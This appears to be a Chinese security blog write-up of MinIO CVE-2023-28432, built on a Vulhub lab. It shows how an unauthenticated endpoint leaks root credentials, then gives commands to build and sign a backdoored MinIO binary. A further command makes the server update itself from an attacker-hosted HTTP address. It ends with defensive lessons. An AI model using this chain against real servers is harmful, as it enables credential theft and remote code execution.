MinIO Information Disclosure in Cluster Deployment (CVE-2023-28432)
本文最后更新于 38 天前,其中的信息可能已经有所发展或是发生改变。

最近一直在看Go相关,对这个CVE比较感兴趣。

漏洞相关信息

https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

https://github.com/vulhub/vulhub/tree/master/minio/CVE-2023-28432

Impact

In a cluster deployment, MinIO returns all environment variables, including MINIO_SECRET_KEY
and MINIO_ROOT_PASSWORD, resulting in information disclosure.

All users of distributed deployment are impacted. All users are advised to upgrade ASAP.

Vulhub环境

docker-compose.yaml,通过集群部署运行3个minio server,挂载卷,如果需要RCE要加上

  - MINIO_UPDATE_MINISIGN_PUBKEY:
version: '3'
services:
  node1:
    image: vulhub/minio:2023-02-27T18-10-45Z
    environment: # 自定义账号密码,官方docker自带MINIO_UPDATE_MINISIGN_PUBKEY需要清空
      - MINIO_ROOT_USER=minioadmin
      - MINIO_ROOT_PASSWORD=minioadmin-vulhub
    command:
      - minio
      - server
      - --console-address
      - :9001
      - http://node1:9000/mnt/data1
      - http://node2:9000/mnt/data2
      - http://node3:9000/mnt/data3
    ports:
      - 9000:9000
      - 9001:9001
    hostname: node1
    volumes:
      - ./mnt/data1:/mnt/data1
  node2:
    image: vulhub/minio:2023-02-27T18-10-45Z
    environment:
      - MINIO_ROOT_USER=minioadmin
      - MINIO_ROOT_PASSWORD=minioadmin-vulhub
    command:
      - minio
      - server
      - http://node1:9000/mnt/data1
      - http://node2:9000/mnt/data2
      - http://node3:9000/mnt/data3
    hostname: node2
    volumes:
      - ./mnt/data2:/mnt/data2
  node3:
    image: vulhub/minio:2023-02-27T18-10-45Z
    environment:
      - MINIO_ROOT_USER=minioadmin
      - MINIO_ROOT_PASSWORD=minioadmin-vulhub
    command:
      - minio
      - server
      - http://node1:9000/mnt/data1
      - http://node2:9000/mnt/data2
      - http://node3:9000/mnt/data3
    hostname: node3
    volumes:
      - ./mnt/data3:/mnt/data3

敏感信息泄露

这个漏洞整体比较简单,信息泄露的完整调用链

该路由没有鉴权,因此可以直接未授权访问,通过编译envs造成部分敏感信息(环境变量)泄露。

根据官方的启动说明,在MinIO在启动时会从环境变量中读取用户预设的管理员账号和密码,如果省略则默认账号密码为minioadmin/minioadmin。通过读取环境变量,泄露MINIO_ROOT_USERMINIO_ROOT_PASSWORD字段,获取管理员账号密码。

访问http://127.0.0.1:9001/login,输入获取的账号密码,成功登录后台

利用更新

mc客户端进行服务器管理

通过信息获取到管理员账号密码之后,可以通过官方自带的mc(MinIO客户端)工具进行服务器管理,官方客户端下载地址:

https://dl.min.io/client/mc/

在Windows环境下,首先通过mc连接远程的MinIO服务器(在linux环境下命令稍有变化,通过admin命令管理服务器):

mc alias set myminio http://127.0.0.1:9000 minioadmin minioadmin-vulhub
mc alias list

官网可以查阅所有能执行的命令,也可以通过自带help进行简单查询,包括这次的主角update

查阅官方文档,发现官方update提供了MIRROR_URL参数,通过配置该参数可以指定更新时下载MIRROR的订阅地址。如果能让minio下载恶意的二进制文件更新,则可以完成RCE。

更新二进制文件逻辑

观察更新逻辑,通过mc执行mc admin update后,会向服务端发送POST请求/minio/admin/v3/update?updateURL={updateURL},调用ServerUpdateHandler函数

// ServerUpdateHandler - POST /minio/admin/v3/update?updateURL={updateURL}
// ----------
// updates all minio servers and restarts them gracefully.
func (a adminAPIHandlers) ServerUpdateHandler(w http.ResponseWriter, r *http.Request)

检查是否是admin权限,这里需要信息泄露获取的admin账号

	ctx := newContext(r, w, "ServerUpdate")

	defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))

	objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.ServerUpdateAdminAction)
	if objectAPI == nil {
		return
	}

从GET参数中获取变量updateURL,这里拿到的参数是mc执行update操作时拿到的变量

	vars := mux.Vars(r)
	updateURL := vars["updateURL"]
	mode := getMinioMode()
	if updateURL == "" {
		updateURL = minioReleaseInfoURL
		if runtime.GOOS == globalWindowsOSName {
			updateURL = minioReleaseWindowsInfoURL
		}
	}

	u, err := url.Parse(updateURL)

如果没有拿到updateURL,则取出默认的minioReleaseWindowsInfoURL

下载Release信息并解析出对应的更新信息,包括sha256Sum

	content, err := downloadReleaseURL(u, updateTimeout, mode)
	if err != nil {
		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
		return
	}

	sha256Sum, lrTime, releaseInfo, err := parseReleaseData(content)

指定更新二进制包文件的URL下载

	// 指定二进制文件的下载路径
	u.Path = path.Dir(u.Path) + SlashSeparator + releaseInfo

	// 下载二进制文件
	reader, err := downloadBinary(u, mode)

验证签名,如果签名无误,把二进制文件推送给其他容器,然后重启

	// 验证签名
	err = verifyBinary(u, sha256Sum, releaseInfo, mode, reader)

	// 提交二进制文件
	err = commitBinary()

	// 发送重启信号给channel
	globalServiceSignalCh <- serviceRestart

重点在验证签名过程,如果能绕过验证签名过程,就可以上传并更新恶意文件并完成更新

verifyBinary处理

verifyBinary的具体逻辑在update.go文件中,重点是会去环境变量中拿MINIO_UPDATE_MINISIGN_PUBKEY参数校验签名,该值为空时可以绕过完整性校验

	minisignPubkey := env.Get(envMinisignPubKey, "")
	if minisignPubkey != "" {
		v := selfupdate.NewVerifier()
		u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"
		if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {
			return AdminError{
				Code:       AdminUpdateApplyFailure,
				Message:    fmt.Sprintf("signature loading failed for %v with %v", u, err),
				StatusCode: http.StatusInternalServerError,
			}
		}
		opts.Verifier = v
	}

但是值得注意的是,使⽤官⽅Docker版本启动的minio将⽆法RCE,因为在Dockerfile中已经设定
了系统环境变量 MINIO_UPDATE_MINISIGN_PUBKEY ,这导致变量 envMinisignPubKey
⾮空,⽆法绕过完整性检查。

RCE

对minio进行二开,最简单的方式就是利用之前的未授权,在/minio/bootstarp/v1/verify加一条命令执行后编译(如果要全局的话可以参考eval_minio项目,有现成的)。

根据上面update的流程,我们需要构造3个文件,即恶意的更新二进制文件、签名文件、sha256信息文件。

  • 重新build魔改后的minio,按照minio版本管理的方式重命名。
go build .
mv minio minio.RELEASE.2023-04-07T05-28-58Z
  • 通过minisign工具签名
minisign -G
minisign -Sm minio.RELEASE.2023-04-07T05-28-58Z
  • sha256签名
shasum -a 256 minio.RELEASE.2023-04-07T05-28-58Z > minio.RELEASE.2023-04-07T05-28-58Z.sha256sum

构造完三个文件后,启动HTTP服务器

远程发起更新请求,发现服务器上的minio已经被更新成我们构造的恶意二进制文件!

mc admin update myminio http://192.168.100.102:8080/minio.RELEASE.2023-04-07T05-28-58Z.sha256sum

Something…

该RCE本质是利用无认证获取Portal管理员认证凭据,突破安全边界后结合云自更新功能实现无认证RCE。

  • 无认证获取敏感数据,在云环境普遍Restful API下更为常见,黑盒测试发包所有接口+白盒无认证接口敏感数据接口梳理可以有效防止类似情况发生;
  • 建议项:云服务镜像仓库不被外部控制;
  • 文件签名的重要性:二进制文件包签名校验,这部分可以被MINIO_UPDATE_MINISIGN_PUBKEY控制,如果该值不为空不能RCE

这个漏洞分析已经比较成熟,AbelChe仓库已经写了非常详细的分析,佩服师傅钻研的精神;

参考

https://github.com/minio/minio

https://github.com/AbelChe/evil_minio

https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ

https://y4er.com/posts/minio-cve-2023-28432/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇